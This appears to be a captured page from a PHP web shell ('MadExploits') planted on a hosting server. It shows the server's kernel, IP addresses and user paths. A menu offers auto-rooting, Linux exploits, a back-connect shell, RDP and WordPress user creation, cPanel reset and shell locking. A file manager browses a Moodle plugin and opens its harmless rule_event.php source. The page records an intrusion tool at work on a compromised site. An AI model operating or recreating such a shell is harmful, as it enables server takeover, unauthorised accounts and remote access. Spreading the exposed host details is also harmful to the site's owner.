Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.100.65
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
blocks /
xp /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
event
[ DIR ]
drwxr-xr-x
form
[ DIR ]
drwxr-xr-x
local
[ DIR ]
drwxr-xr-x
output
[ DIR ]
drwxr-xr-x
privacy
[ DIR ]
drwxr-xr-x
task
[ DIR ]
drwxr-xr-x
di.php
2.29
KB
-rw-r--r--
external.php
14.79
KB
-rw-r--r--
filter.php
10.08
KB
-rw-r--r--
rule.php
4.73
KB
-rw-r--r--
rule_base.php
6.37
KB
-rw-r--r--
rule_cm.php
7.51
KB
-rw-r--r--
rule_event.php
4.53
KB
-rw-r--r--
rule_property.php
3.96
KB
-rw-r--r--
ruleset.php
6.04
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : rule_event.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Rule event. * * @package block_xp * @copyright 2015 Frédéric Massart - FMCorz.net * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); /** * Rule event class. * * Option to filter by most common events. * * @package block_xp * @copyright 2015 Frédéric Massart - FMCorz.net * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class block_xp_rule_event extends block_xp_rule_property { /** @var event_lister The event lister. */ protected $eventlister; /** * Constructor. * * @param string $eventname The event name. */ public function __construct($eventname = '') { parent::__construct(self::EQ, $eventname, 'eventname'); // We use DI in here because rules aren't part of DI yet. $this->eventlister = \block_xp\di::get('rule_event_lister'); } /** * Returns a string describing the rule. * * @return string */ public function get_description() { $class = $this->value; $infos = self::get_event_infos($class); if ($infos !== false) { list($type, $plugin) = core_component::normalize_component($infos['component']); if ($type == 'core') { $displayname = get_string('coresystem'); } else { $pluginmanager = core_plugin_manager::instance(); $plugininfo = $pluginmanager->get_plugin_info($infos['component']); $displayname = $infos['component']; if (!empty($plugininfo)) { $displayname = $plugininfo->displayname; } } $name = get_string('colon', 'block_xp', (object) [ 'a' => $displayname, 'b' => $infos['name'] ]); } else { $name = get_string('unknowneventa', 'block_xp', $this->value); } return get_string('ruleeventdesc', 'block_xp', ['eventname' => $name]); } /** * Return the info about an event. * * @param string $class The name of the event class. * @return array|false */ public static function get_event_infos($class) { return \block_xp\local\rule\event_lister::get_event_infos($class); } /** * Return the list of events that we want to display. * * @return array */ public static function get_events_list() { debugging('The method block_xp_rule_event::get_events_list() is deprecated.', DEBUG_DEVELOPER); return []; } /** * Returns a form element for this rule. * * @param string $basename The form element base name. * @return string */ public function get_form($basename) { $o = block_xp_rule::get_form($basename); $eventslist = $this->eventlister->get_events_list(); // Append the value to the list if we cannot find it any more. if (!empty($this->value) && !$this->value_in_list($this->value, $eventslist)) { $eventslist[] = [get_string('other') => [$this->value => get_string('unknowneventa', 'block_xp', $this->value)]]; } $modules = html_writer::select($eventslist, $basename . '[value]', $this->value, '', array('id' => '', 'class' => '')); $o .= get_string('eventis', 'block_xp', $modules); return $o; } /** * Check if the value is in the list. * * @param mixed $value Value. * @param Traversable $list The list where the first level or keys does not count. * @return bool */ protected static function value_in_list($value, $list) { foreach ($list as $optgroup) { foreach ($optgroup as $values) { if (array_key_exists($value, $values)) { return true; } } } return false; } }
Close